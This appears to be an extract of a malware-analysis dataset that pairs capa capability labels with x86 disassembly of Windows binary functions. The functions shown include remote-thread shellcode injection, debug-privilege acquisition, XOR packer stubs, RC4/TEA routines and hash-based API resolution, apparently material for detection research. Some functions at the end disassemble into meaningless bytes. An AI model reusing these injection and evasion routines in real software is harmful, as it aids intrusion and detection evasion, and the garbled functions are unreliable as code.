joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100018e0
Capabilities:
Acquire debug privileges
Allocate or change rwx memory
Execute shellcode via indirect call
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
mov eax, dword [0x100f2040]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x100348a4
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [ebp - 0x40], eax
push 0x100348bc
mov eax, dword [ebp - 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x44], eax
push 0xd2
call fcn.1000501b
add esp, 4
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
je 0x10001941
push 0xd2
push 0
mov ecx, dword [ebp - 0x24]
push ecx
call fcn.100065c0
add esp, 0xc
mov edx, dword [ebp - 0x24]
mov dword [ebp - 0x28], edx
jmp 0x10001948
mov dword [ebp - 0x28], 0
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x30], eax
xor ecx, ecx
mov edx, dword [ebp - 0x30]
mov dword [edx], ecx
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 8], 0
lea ecx, [ebp - 8]
push ecx
push 0x40
push 0xd3
mov edx, dword [ebp - 0x2c]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x30]
mov dword [eax], ecx
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x34], 0
xor edx, edx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x10], edx
mov dword [ebp - 0xc], edx
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
push 0x100348c8
call fcn.100013d0
add esp, 8
call fcn.10002410
call eax
mov dword [ebp - 0x34], eax
push 0x82
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x1c]
push eax
push 0x28
call fcn.100022d0
call eax
push eax
call fcn.10002430
call eax
test eax, eax
je 0x10001a5e
mov dword [ebp - 0x18], 1
mov ecx, 0xc
imul edx, ecx, 0
mov dword [ebp + edx - 0xc], 2
mov eax, 0xc
imul ecx, eax, 0
lea edx, [ebp + ecx - 0x14]
push edx
push str.SeDebugPrivilege
push 0
call fcn.10002290
call eax
test eax, eax
je 0x10001a53
push 0
push 0
push 0
lea eax, [ebp - 0x18]
push eax
push 0
mov ecx, dword [ebp - 0x1c]
push ecx
call fcn.100022f0
call eax
mov edx, dword [ebp - 0x1c]
push edx
call fcn.10002310
call eax
push 0xbe
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x34]
push eax
push 0
push 0x43a
call fcn.10002450
call eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jne 0x10001a91
push 0x100180df
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
jmp 0x10001ac4
push 0
push 0xb7c00
push 0x10034918
mov ecx, dword [ebp - 0x20]
push ecx
call fcn.10003660
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0
jne 0x10001abc
push 0x100180f1
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
jmp 0x10001ac4
xor edx, edx
jne 0x100019c1
cmp dword [ebp - 0x3c], 0
je 0x10001adf
mov eax, dword [ebp - 0x3c]
push eax
push 0
call fcn.10002490
call eax
push eax
call fcn.10002470
call eax
cmp dword [ebp - 0x20], 0
je 0x10001af0
mov ecx, dword [ebp - 0x20]
push ecx
call fcn.10002310
call eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10004b2a
mov esp, ebp
pop ebp
ret
Function at 0x10003380
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
xor eax, eax
mov word [ebp - 4], ax
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 0xc]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0xc]
movzx ecx, word [eax + 0x14]
mov edx, dword [ebp - 0xc]
lea eax, [edx + ecx + 0x18]
mov dword [ebp - 8], eax
mov ecx, 0x28
imul edx, ecx, 0
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 8]
cmp ecx, dword [eax + edx + 0x14]
jae 0x100033d0
mov eax, dword [ebp + 8]
jmp 0x1000344e
xor edx, edx
mov word [ebp - 4], dx
jmp 0x100033e4
mov ax, word [ebp - 4]
add ax, 1
mov word [ebp - 4], ax
movzx ecx, word [ebp - 4]
mov edx, dword [ebp - 0xc]
movzx eax, word [edx + 6]
cmp ecx, eax
jge 0x1000344c
movzx ecx, word [ebp - 4]
imul edx, ecx, 0x28
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 8]
cmp ecx, dword [eax + edx + 0xc]
jb 0x1000344a
movzx edx, word [ebp - 4]
imul eax, edx, 0x28
movzx ecx, word [ebp - 4]
imul edx, ecx, 0x28
mov ecx, dword [ebp - 8]
mov eax, dword [ecx + eax + 0xc]
mov ecx, dword [ebp - 8]
add eax, dword [ecx + edx + 0x10]
cmp dword [ebp + 8], eax
jae 0x1000344a
movzx edx, word [ebp - 4]
imul eax, edx, 0x28
mov ecx, dword [ebp - 8]
mov edx, dword [ebp + 8]
sub edx, dword [ecx + eax + 0xc]
movzx eax, word [ebp - 4]
imul ecx, eax, 0x28
mov eax, dword [ebp - 8]
add edx, dword [eax + ecx + 0x14]
mov eax, edx
jmp 0x1000344e
jmp 0x100033d8
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x10003660
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x100f0340
push 0x10006410
mov eax, dword fs:[0]
push eax
add esp, 0xffffffdc
mov eax, dword [0x100f2040]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 4], 0
cmp dword [ebp + 8], 0
je 0x100036d9
cmp dword [ebp + 0xc], 0
je 0x100036d9
cmp dword [ebp + 0x10], 0
jne 0x100036de
jmp 0x10003768
mov eax, dword [ebp + 0xc]
push eax
call fcn.10003460
add esp, 4
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
jne 0x100036f5
jmp 0x10003768
push 0x40
push 0x3000
mov ecx, dword [ebp + 0x10]
push ecx
push 0
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jne 0x10003717
jmp 0x10003768
push 0
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 0x24]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x10003735
jmp 0x10003768
mov ecx, dword [ebp - 0x24]
add ecx, dword [ebp - 0x28]
mov dword [ebp - 0x30], ecx
lea edx, [ebp - 0x20]
push edx
push 0
mov eax, dword [ebp + 0x14]
push eax
mov ecx, dword [ebp - 0x30]
push ecx
push 0x100000
push 0
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0x2c], eax
xor eax, eax
jne 0x100036c7
mov dword [ebp - 4], 0xfffffffe
jmp 0x10003788
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.10004b2a
mov esp, ebp
pop ebp
ret 0x10
Function at 0x10003df0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10012205
mov eax, dword fs:[0]
push eax
sub esp, 0x4c
mov eax, dword [0x100f2040]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword fs:[0x30]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0x14]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x10003ed8
mov ecx, dword [ebp - 0x14]
mov edx, dword [ecx + 0x28]
mov dword [ebp - 0x18], edx
cmp dword [ebp - 0x18], 0
jne 0x10003e4a
xor eax, eax
jmp 0x10003eda
mov eax, dword [ebp - 0x14]
mov cx, word [eax + 0x24]
mov word [ebp - 0x10], cx
mov edx, dword [ebp - 0x18]
push edx
lea ecx, [ebp - 0x40]
call fcn.10001b90
mov dword [ebp - 4], 0
lea eax, [ebp - 0x40]
push eax
lea ecx, [ebp - 0x58]
push ecx
call fcn.10003d60
add esp, 8
mov dword [ebp - 0x20], eax
mov edx, dword [ebp - 0x20]
mov dword [ebp - 0x24], edx
mov byte [ebp - 4], 1
movzx eax, word [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0x24]
call fcn.10003810
push eax
call fcn.10003c50
add esp, 8
mov dword [ebp - 0x28], eax
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x58]
call fcn.10001c10
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x40]
call fcn.10001b20
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 0x28]
cmp edx, dword [ecx]
jne 0x10003ecb
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x10]
jmp 0x10003eda
mov ecx, dword [ebp - 0x14]
mov edx, dword [ecx]
mov dword [ebp - 0x14], edx
jmp 0x10003e2a
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret
Function at 0x100094b7
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x100094f6
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x100094f6
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x100094f6
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x100094f6
cmp dword [ecx + 0x74], 0xe
jbe 0x100094f6
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x1000ace3
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x100149d8
push 0x100149d0
push 0x10013c70
push 0x1f
call fcn.1000abff
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1000ad17
push dword [ebp + 8]
mov ecx, esi
call dword [0x10013128]
call esi
jmp 0x1000ad1d
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x1000ad61
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x100149e8
push 0x100149e0
push 0x10013c94
push 0x21
call fcn.1000abff
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1000ad98
push dword [ebp + 8]
mov ecx, esi
call dword [0x10013128]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x1000ada0
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x100149f0
push 0x100149e8
push 0x10013ca8
push 0x22
call fcn.1000abff
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1000adda
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x10013128]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x1000d81a
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x1000d8b7
push ebx
push esi
call fcn.1000d7e3
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.1000d777
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x1000d864
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1000d8b6
push edi
push eax
call fcn.1000be8d
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x1000d884
call fcn.1000aaac
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1000d8b5
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.1000d777
add esp, 0x20
test eax, eax
jne 0x1000d8a3
push edi
call fcn.1000aaac
jmp 0x1000d8ab
push ebx
call fcn.1000aaac
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x10010d00
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x10010d2d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10010d2d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x4023b0
Capabilities:
Clear file content

Disassembly:
push ebp
mov ebp, esp
push 2
push 0xffffffffffffffff
push 0xffffff1c
push dword [ebp + 8]
call fcn.00404f3f
add esp, 0x10
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
xor eax, eax
push eax
push eax
push eax
push dword [ebp + 8]
call fcn.00404f3f
add esp, 0x10
pop ebp
ret

Function at 0x402850
Capabilities:
Print debug messages
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
push 0
lea eax, [ebp - 4]
push eax
push esi
call fcn.00404332
pop ecx
add eax, eax
push eax
push esi
push dword [0x410ac4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x402884
xor eax, eax
jmp 0x4028b2
push dword [ebp + 0xc]
push dword [0x410abc]
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
test eax, eax
je 0x402880
push 0
lea eax, [ebp - 4]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
push esi
push dword [0x410abc]
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x403951
Capabilities:
Encrypt data using tea

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
mov esi, dword [ebp + 8]
movzx eax, si
shr esi, 0x10
mov dword [ebp + 8], eax
xor eax, eax
mov bx, word [ebp + 8]
push edi
mov dword [ebp - 4], esi
mov di, si
mov dword [ebp - 8], 0x40
sub eax, 0x61c88647
movzx edx, ax
mov dword [ebp - 0xc], eax
mov ax, di
shr ax, 5
lea ecx, [edx + esi]
shl esi, 4
xor cx, ax
xor cx, si
add bx, cx
mov word [ebp + 8], bx
mov ax, bx
mov ecx, dword [ebp + 8]
add edx, ecx
shr ax, 5
xor dx, ax
shl ecx, 4
xor dx, cx
add di, dx
sub dword [ebp - 8], 1
mov word [ebp - 4], di
je 0x4039c8
mov esi, dword [ebp - 4]
mov eax, dword [ebp - 0xc]
jmp 0x403979
mov al, byte [ebp + 8]
pop edi
pop esi
and al, 1
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x403d60
Capabilities:
Hash data using djb2

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 8]
mov eax, 0x1505
jmp 0x403d76
imul eax, eax, 0x21
inc edx
movzx ecx, cl
add eax, ecx
mov cl, byte [edx]
test cl, cl
jne 0x403d6d
pop ebp
ret

Function at 0x403d7e
Capabilities:
Hash data using djb2

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 8]
mov eax, 0x1505
jmp 0x403d96
imul eax, eax, 0x21
lea edx, [edx + 2]
movzx ecx, cx
add eax, ecx
movzx ecx, word [edx]
test cx, cx
jne 0x403d8b
pop ebp
ret

Function at 0x4052cb
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov edx, dword [ebp + 0x10]
not ecx
test edx, edx
je 0x405305
push esi
mov esi, dword [ebp + 0xc]
push edi
movzx eax, byte [esi]
dec edx
push 8
xor ecx, eax
inc esi
pop edi
mov eax, ecx
shr ecx, 1
and eax, 1
not eax
inc eax
and eax, 0xedb88320
xor ecx, eax
sub edi, 1
jne 0x4052e9
test edx, edx
jne 0x4052df
pop edi
pop esi
not ecx
mov eax, ecx
pop ebp
ret
Function at 0x40545c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0x10]
test esi, esi
je 0x40547e
push edi
mov edi, dword [ebp + 0xc]
mov edx, eax
sub edi, eax
mov cl, byte [edi + edx]
xor byte [edx], cl
inc edx
sub esi, 1
jne 0x405472
pop edi
pop esi
pop ebp
ret

Function at 0x405481
Capabilities:
Encode data using xor
Encrypt data using rc4 ksa
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push ebx
push esi
xor esi, esi
push edi
mov eax, esi
mov byte [ebp + eax - 0x104], al
inc eax
cmp eax, 0x100
jb 0x405491
mov edi, esi
xor edx, edx
mov bl, byte [ebp + edi - 0x104]
mov eax, edi
movzx ecx, bl
div dword [ebp + 0xc]
mov eax, dword [ebp + 8]
movzx eax, byte [edx + eax]
add eax, esi
add ecx, eax
movzx esi, cl
mov al, byte [ebp + esi - 0x104]
mov byte [ebp + edi - 0x104], al
inc edi
mov byte [ebp + esi - 0x104], bl
cmp edi, 0x100
jb 0x4054a2
mov ebx, dword [ebp + 0x14]
xor esi, esi
mov eax, esi
test ebx, ebx
je 0x40554b
mov ecx, dword [ebp + 0x18]
mov edi, dword [ebp + 0x10]
mov dword [ebp + 0x14], ecx
sub edi, ecx
inc eax
movzx ecx, al
mov dword [ebp - 4], ecx
mov dl, byte [ebp + ecx - 0x104]
movzx eax, dl
add eax, esi
movzx esi, al
mov al, byte [ebp + esi - 0x104]
mov byte [ebp + ecx - 0x104], al
mov byte [ebp + esi - 0x104], dl
movzx ecx, byte [ebp + ecx - 0x104]
movzx eax, dl
add ecx, eax
mov eax, dword [ebp + 0x14]
movzx ecx, cl
mov cl, byte [ebp + ecx - 0x104]
xor cl, byte [edi + eax]
mov byte [eax], cl
inc eax
mov dword [ebp + 0x14], eax
mov eax, dword [ebp - 4]
sub ebx, 1
jne 0x4054f5
mov eax, dword [ebp + 0x18]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40595b
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov ecx, 0x2b3
push ebx
push esi
mov esi, dword [ebp + 8]
shl esi, 0x10
xor esi, dword [ebp + 8]
xor esi, 0x942d4a6e
mov eax, esi
shr eax, 0x15
push edi
cmp eax, ecx
ja 0x4059d4
je 0x4059cd
sub eax, 0xd0
je 0x4059c6
sub eax, 0x51
je 0x4059bf
sub eax, 0xf
je 0x4059b8
sub eax, 0x76
je 0x4059b1
sub eax, 0x19
je 0x4059aa
sub eax, 0x7c
jne 0x4059fc
mov eax, 0x4058a3
jmp 0x405a1b
mov eax, 0x405b39
jmp 0x405a1b
mov eax, 0x405b00
jmp 0x405a1b
mov eax, 0x405a8e
jmp 0x405a1b
mov eax, 0x40585f
jmp 0x405a1b
mov eax, 0x405b72
jmp 0x405a1b
mov eax, 0x4057f0
jmp 0x405a1b
sub eax, 0x39c
je 0x405a16
sub eax, 0x148
je 0x405a0f
sub eax, 0x161
je 0x405a08
sub eax, 0x3a
je 0x405a01
sub eax, 0xae
jne 0x4059fc
mov eax, 0x40586b
jmp 0x405a1b
mov eax, dword [ebp + 8]
jmp 0x405a1b
mov eax, 0x405ac7
jmp 0x405a1b
mov eax, 0x405829
jmp 0x405a1b
mov eax, 0x4057b7
jmp 0x405a1b
mov eax, fcn.004058af
call eax
mov edi, eax
test edi, edi
je 0x405a74
mov ecx, dword [edi + 0x3c]
and esi, 0x1fffff
xor ebx, ebx
mov ecx, dword [ecx + edi + 0x78]
add ecx, edi
mov eax, dword [ecx + 0x24]
mov edx, dword [ecx + 0x20]
add eax, edi
mov dword [ebp - 8], eax
add edx, edi
mov eax, dword [ecx + 0x1c]
add eax, edi
mov dword [ebp - 4], edx
mov dword [ebp - 0xc], eax
mov eax, dword [ecx + 0x18]
mov dword [ebp + 8], eax
test eax, eax
je 0x405a74
mov eax, dword [edx + ebx*4]
add eax, edi
push eax
call fcn.0040573a
and eax, 0x1fffff
pop ecx
cmp eax, esi
je 0x405a7d
mov edx, dword [ebp - 4]
inc ebx
cmp ebx, dword [ebp + 8]
jb 0x405a56
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
movzx eax, word [eax + ebx*2]
mov eax, dword [ecx + eax*4]
add eax, edi
jmp 0x405a76
Function at 0x430005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
mov eax, section..text
nop
nop
mov ebx, 0x408ecc
nop
mov ecx, 0x440909a6
nop
test eax, eax
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x430024
nop
mov eax, section..reloc
nop
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x12212769
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x430084
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219

Function at 0x430006
Capabilities:
Encode data using xor

Disassembly:
call 0x43000c
nop
nop
nop
pop eax
nop
nop
add eax, 0x403daa
nop
nop
sub eax, 0x403d50
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
jne 0x43001e
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp fcn.00401219
Function at 0x401000
Capabilities:
Encode data using xor

Disassembly:
push ebx
pcmpeqw mm7, mm7
push ecx
pxor mm6, mm6
push esi
psllw mm7, 0xf
push edi
mov esi, dword [esp + 0x14]
mov edi, dword [esp + 0x18]
mov eax, dword [esp + 0x1c]
mov ebx, dword [esp + 0x20]
sub eax, 4
jl 0x401083
jmp 0x401030
movq mm0, qword [esi]
pxor mm0, mm7
movq mm3, mm0
movq mm1, qword [ebx + esi]
punpcklwd mm0, mm6
pxor mm1, mm7
movq mm2, qword [esi + ebx*2]
movq mm4, mm1
pxor mm2, mm7
add edi, 0x10
prefetcht0 byte [esi + ebx*2 + 0x40]
punpcklwd mm1, mm6
movq mm5, mm2
punpcklwd mm2, mm6
paddd mm0, mm1
punpckhwd mm3, mm6
paddd mm0, mm2
punpckhwd mm4, mm6
paddd mm3, mm4
punpckhwd mm5, mm6
movq qword [edi - 0x10], mm0
paddd mm3, mm5
add esi, 8
movq qword [edi - 8], mm3
sub eax, 4
jge 0x401030
add eax, 4
jle 0x4010b6
push edx
movzx ecx, word [esi]
xor ecx, 0x8000
movzx edx, word [ebx + esi]
xor edx, 0x8000
add ecx, edx
movzx edx, word [esi + ebx*2]
xor edx, 0x8000
add ecx, edx
add esi, 2
mov dword [edi], ecx
add edi, 4
dec eax
jg 0x401089
pop edx
pop edi
pop esi
pop ecx
pop ebx
ret

Function at 0x45208f
Capabilities:
Encode data using xor

Disassembly:
dec ecx
in eax, dx
xchg esi, eax
cmc
and eax, 0x707dfeda
push ds
cdq
xchg esp, eax
sub al, 0x30
pop ecx
je 0x4520dc
test dword [eax - 0x2862c5cf], ebx
mov dl, 0xbe
or edi, esp
pop es
std
pop es
cmp al, 0xc1
mov esi, 0x7d809ccd
leave
add dword [0x39e713e9], ecx
in eax, 0xd1
xor dword [eax + edx], edi
fsqrt
cmp al, 0x31
xor dword [ebp - 0x3ddf080a], ebx
popfd
div bh
and dl, al
sub al, 0x64
sub byte [ebx], dl
invalid
and ebp, dword [eax - 4]
js 0x452118
nop
cmp al, 0xec
shl byte [edx + 0x201dd05d], 0xcc
imul ecx, dword [ecx], 0x76ee9323
jecxz 0x452127
sub cl, ch
sub dword [eax], 0xffffffb5
fsubr qword [0x2536e171]
shl byte [edi], 0xb
xchg esi, eax
xchg ecx, eax
hlt
or edi, dword [ecx - 0x1e]
in al, dx
xchg edi, eax
jbe 0x4520c4
push eax
lodsd eax, dword [esi]
lahf
sub byte [ecx], dh
shr byte [eax], cl
mov cl, 0xb2
push ecx
mov dl, 0x51
push ebp
mov edi, 0x4d3048fa
int1
sar bh, 0x9d
cmp al, 0x1d
outsb dx, byte [esi]
jg 0x4520c3
mov ebp, 0xb12ef1ff
invalid

Function at 0x4845d8
Capabilities:
Encode data using xor

Disassembly:
insb byte es:[edi], dx
add esi, esp
inc esi
mov ecx, 0xa815c662
and ah, dl
invalid

Function at 0x489bc8
Capabilities:
Encode data using xor

Disassembly:
mov dh, 0xee
pop eax
pop esi
jo 0x489c0f
rcr byte [edi + 0x30], cl
mov esi, 0x1584a8d
mov byte [eax + eax + 0x5b], ch
pop ebx
xor dword [ebx], ebp
sahf
je 0x489bd9
xchg esi, eax
or al, 0xc2
scasb al, byte es:[edi]
idiv ebx
int1
sbb dword [ecx - 0x45df6770], 0x729e54ab
mov edx, 0x729e54ab
lodsd eax, dword [esi]
in eax, 0x32
pushfd
xchg esi, eax
sub al, 0xb7
dec eax
push esp
push ecx
sbb byte [ebp + 0x7f], ah
adc byte [ebp - 0x51], cl
jbe 0x489bec
push ebx
out dx, eax
sbb ecx, dword [ebp + 0x32a79e5]
mov esi, 0x5fc2aae0
pop edi
add dword [ecx], esp
out 0x1c, al
imul esi, dword [esi + eax*4 + 0x5ac04c48], 0x511c58ed
int3
Function at 0x6294a5
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x632378
cmp edx, dword [eax]
je 0x6294c7
add eax, 8
inc ecx
cmp eax, 0x632408
or byte [ebx], ah
invalid
jl 0x6294b8
push esi

Function at 0x42e002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x42e00c
nop
nop
nop
nop
nop
pop eax
add eax, 0x403ac5
nop
sub eax, 0x403a6b
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
jl 0x42e030
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x42e01e
nop
nop
popal
nop
nop
nop
nop
nop
jmp fcn.00401219